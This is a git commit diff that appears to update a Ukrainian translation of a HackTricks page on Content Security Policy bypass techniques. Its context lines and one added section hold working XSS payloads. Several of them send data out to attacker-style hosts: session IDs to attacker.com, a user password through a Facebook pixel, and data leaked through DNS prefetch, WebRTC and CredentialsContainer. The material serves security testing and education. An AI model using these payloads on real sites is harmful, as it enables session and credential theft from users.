Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM

This commit is contained in:
Translator 2025-01-26 15:25:47 +00:00
parent 3bdcbcd61c
commit c0178b9a72

View File

@ -40,16 +40,16 @@ object-src 'none';
### Директиви
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Обмежує URL для фреймів.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
- **img-src**: Визначає дозволені джерела для зображень.
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
@ -115,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!УВАГА]
> [!CAUTION]
> Це не працює, для отримання додаткової інформації [**перевірте це**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Працюючий payload:
Працюючий вантаж:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
@ -159,7 +159,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволяє вам **завантажувати лише певні типи файлів**.
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
@ -167,7 +167,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
### Form-action
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
### Third Party Endpoints + ('unsafe-eval')
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Пейлоади, що використовують Angular + бібліотеку з функціями, які повертають об'єкт `window` ([перегляньте цей пост](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити, **які функції з яких бібліотек повертають об'єкт `window`**.
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Зловживання www.google.com для відкритого редиректу
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
### Зловживання з боку третіх осіб
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи користувацьку подію, як це:
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
```html
@ -347,7 +347,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -368,7 +368,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
```
### AngularJS події
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
```xml
@ -460,7 +460,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
#### Chrome
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, тоді ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -540,13 +540,13 @@ run()
```
### Via Bookmarklets
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
```html
@ -566,7 +566,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP**, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
```
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як на перший погляд безпечні політики можуть ненавмисно витікати чутливу інформацію.
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Трюк з [**тут**](https://ctftime.org/writeup/29310).
@ -597,11 +597,11 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
### PHP помилки при надмірній кількості параметрів
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
### Переповнення буфера відповіді PHP
PHP відомий тим, що **буферизує відповідь до 4096** байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -626,7 +626,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -647,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid
```
### DNS Prefetch
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів у IP-адреси та кешувати їх для подальшого використання.\
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -686,7 +686,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
Ще один варіант:
Інший варіант:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -698,6 +698,19 @@ var pc = new RTCPeerConnection({
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
```
## Перевірка CSP політик онлайн
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)